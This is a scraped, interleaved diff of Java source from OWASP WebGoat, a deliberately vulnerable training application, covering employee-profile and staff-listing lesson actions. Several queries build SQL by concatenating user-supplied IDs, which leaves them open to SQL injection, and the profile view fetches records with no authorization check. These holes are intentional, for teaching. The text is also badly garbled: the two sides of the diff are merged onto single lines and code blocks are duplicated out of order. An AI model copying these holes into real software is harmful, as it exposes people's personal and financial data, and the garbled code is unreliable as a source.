String startDate = s.getParser().getStringParameter(
RoleBasedAccessControl.START_DATE);
int salary = s.getParser().getIntParameter(
RoleBasedAccessControl.SALARY);
String ccn = s.getParser().getStringParameter(
RoleBasedAccessControl.CCN);
int ccnLimit = s.getParser().getIntParameter(
RoleBasedAccessControl.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(
RoleBasedAccessControl.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(
RoleBasedAccessControl.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(
RoleBasedAccessControl.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName,
ssn, title, phone, address1, address2, manager, startDate,
salary, ccn, ccnLimit, disciplinaryActionDate,
disciplinaryActionNotes, personalDescription);
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
} }
else
throw new UnauthenticatedException();
}
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public String getNextPage(WebSession s) UnauthorizedException, ValidationException
{
return RoleBasedAccessControl.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
{
try
{ {
// Note: The password field is ONLY set by ChangePassword if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
int subjectId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(RoleBasedAccessControl.FIRST_NAME);
String lastName = s.getParser().getStringParameter(RoleBasedAccessControl.LAST_NAME);
String ssn = s.getParser().getStringParameter(RoleBasedAccessControl.SSN);
String title = s.getParser().getStringParameter(RoleBasedAccessControl.TITLE);
String phone = s.getParser().getStringParameter(RoleBasedAccessControl.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS1);
String address2 = s.getParser().getStringParameter(RoleBasedAccessControl.ADDRESS2);
int manager = s.getParser().getIntParameter(RoleBasedAccessControl.MANAGER);
String startDate = s.getParser().getStringParameter(RoleBasedAccessControl.START_DATE);
int salary = s.getParser().getIntParameter(RoleBasedAccessControl.SALARY);
String ccn = s.getParser().getStringParameter(RoleBasedAccessControl.CCN);
int ccnLimit = s.getParser().getIntParameter(RoleBasedAccessControl.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(RoleBasedAccessControl.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser()
.getStringParameter(RoleBasedAccessControl.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(RoleBasedAccessControl.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle) {
{ s.setMessage("Error updating employee profile");
s.setMessage("Error updating employee profile"); sqle.printStackTrace();
sqle.printStackTrace(); }
}
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void changeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
public void changeEmployeeProfile_BACKUP(WebSession s, int userId, throws UnauthorizedException
int subjectId, Employee employee) throws UnauthorizedException
{
try
{ {
// Note: The password field is ONLY set by ChangePassword try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.executeUpdate(query); ps.executeUpdate(query);
} } catch (SQLException sqle)
catch (SQLException sqle) {
{ s.setMessage("Error updating employee profile");
s.setMessage("Error updating employee profile"); sqle.printStackTrace();
sqle.printStackTrace(); }
}
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
catch (Exception e)
protected int getNextUID(WebSession s)
{ {
s.setMessage("Error updating employee profile"); int uid = -1;
e.printStackTrace(); try
} {
} Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
protected int getNextUID(WebSession s) ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
{ results.first();
int uid = -1; uid = results.getInt("uid");
try } catch (SQLException sqle)
{ {
Statement statement = WebSession.getConnection(s).createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement
.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
}
catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
}
catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} s.setMessage("Error updating employee profile");
} catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
} }
catch (Exception e)
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{ {
s.setMessage("Error updating employee profile"); try
e.printStackTrace(); {
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
// System.out.println("Query: " + query);
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.RoleBasedAccessControl; package org.owasp.webgoat.lessons.RoleBasedAccessControl;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -12,219 +12,179 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ RoleBasedAccessControl.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else
throw new UnauthenticatedException();
updateLessonStatus(s); public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
} UnauthorizedException
private void updateLessonStatus(WebSession s)
{
// If the logged in user is not authorized to see the given employee's data, stage is complete.
try
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." getLesson().setCurrentAction(s, getActionName());
+ RoleBasedAccessControl.USER_ID);
int employeeId = s.getParser().getIntParameter(
RoleBasedAccessControl.EMPLOYEE_ID);
if (RoleBasedAccessControl.STAGE3.equals(getStage(s)) if (isAuthenticated(s))
&& !isAuthorizedForEmployee(s, userId, employeeId))
{
setStageComplete(s, RoleBasedAccessControl.STAGE3);
}
}
catch (ParameterNotFoundException e)
{}
}
public String getNextPage(WebSession s)
{
return RoleBasedAccessControl.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = "
+ subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{ {
// Note: Do NOT get the password field. int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
profile = new Employee(answer_results.getInt("userid"), int employeeId = -1;
answer_results.getString("first_name"), try
answer_results.getString("last_name"), {
answer_results.getString("ssn"), answer_results // User selected employee
.getString("title"), answer_results employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
.getString("phone"), answer_results } catch (ParameterNotFoundException e)
.getString("address1"), answer_results {
.getString("address2"), answer_results // May be an internally selected employee
.getInt("manager"), answer_results employeeId = getIntRequestAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ID);
.getString("start_date"), answer_results }
.getInt("salary"), answer_results
.getString("ccn"), answer_results Employee employee = getEmployeeProfile(s, userId, employeeId);
.getInt("ccn_limit"), answer_results setSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY, employee);
.getString("disciplined_date"), }
answer_results.getString("disciplined_notes"), else
answer_results.getString("personal_description")); throw new UnauthenticatedException();
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() + updateLessonStatus(s);
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
} }
return profile; private void updateLessonStatus(WebSession s)
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if the given employee is owned by the given user
// Query the database for the profile data of the given employee
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = " // If the logged in user is not authorized to see the given employee's data, stage is
+ subjectUserId; // complete.
try
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{ {
// Note: Do NOT get the password field. int userId = getIntSessionAttribute(s, getLessonName() + "." + RoleBasedAccessControl.USER_ID);
profile = new Employee(answer_results.getInt("userid"), int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID);
answer_results.getString("first_name"),
answer_results.getString("last_name"), if (RoleBasedAccessControl.STAGE3.equals(getStage(s)) && !isAuthorizedForEmployee(s, userId, employeeId))
answer_results.getString("ssn"), answer_results {
.getString("title"), answer_results setStageComplete(s, RoleBasedAccessControl.STAGE3);
.getString("phone"), answer_results }
.getString("address1"), answer_results } catch (ParameterNotFoundException e)
.getString("address2"), answer_results {
.getInt("manager"), answer_results }
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
} }
return profile; public String getNextPage(WebSession s)
} {
return RoleBasedAccessControl.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if the given employee is owned by the given user
// Query the database for the profile data of the given employee
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection; package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.EmployeeStub; import org.owasp.webgoat.session.EmployeeStub;
@ -14,162 +14,143 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ListStaff extends DefaultLessonAction public class ListStaff extends DefaultLessonAction
{ {
public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName) public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ SQLInjection.USER_ID);
List employees = getAllEmployees(s, userId);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
} }
else
throw new UnauthenticatedException();
}
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public String getNextPage(WebSession s) UnauthorizedException
{
return SQLInjection.LISTSTAFF_ACTION;
}
public List getAllEmployees(WebSession s, int userId)
throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>();
try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " getLesson().setCurrentAction(s, getActionName());
+ "(SELECT employee_id FROM ownership WHERE employer_id = "
+ userId + ")";
try if (isAuthenticated(s))
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); int userId = getIntSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); List employees = getAllEmployees(s, userId);
String role = answer_results.getString("role"); setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
//System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
} }
} else
catch (SQLException sqle) throw new UnauthenticatedException();
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
} }
return employees; public String getNextPage(WebSession s)
}
public List getAllEmployees_BACKUP(WebSession s, int userId)
throws UnauthorizedException
{
// Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>();
try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in " return SQLInjection.LISTSTAFF_ACTION;
+ "(SELECT employee_id FROM ownership WHERE employer_id = " }
+ userId + ")";
try public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException
{ {
Statement answer_statement = WebSession.getConnection(s) // Query the database for all employees "owned" by the given employee
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); List<EmployeeStub> employees = new Vector<EmployeeStub>();
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); try
while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
String firstName = answer_results.getString("first_name"); + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); try
//System.out.println("Retrieving employee stub for role " + role); {
EmployeeStub stub = new EmployeeStub(employeeId, firstName, Statement answer_statement = WebSession.getConnection(s)
lastName, role); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
employees.add(stub); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
} }
}
catch (SQLException sqle) return employees;
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
} }
return employees; public List getAllEmployees_BACKUP(WebSession s, int userId) throws UnauthorizedException
} {
// Query the database for all employees "owned" by the given employee
List<EmployeeStub> employees = new Vector<EmployeeStub>();
try
{
